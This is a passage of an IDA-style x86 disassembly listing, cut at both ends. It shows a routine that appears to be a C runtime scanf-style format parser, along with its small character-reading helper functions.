ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C534, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C328 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C534, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C534, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C538, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C538 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C534, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C534, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8D8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C7B0 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C7A8 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C328 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C534 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C534, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C534, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C534, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C534, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C328 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C534, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C 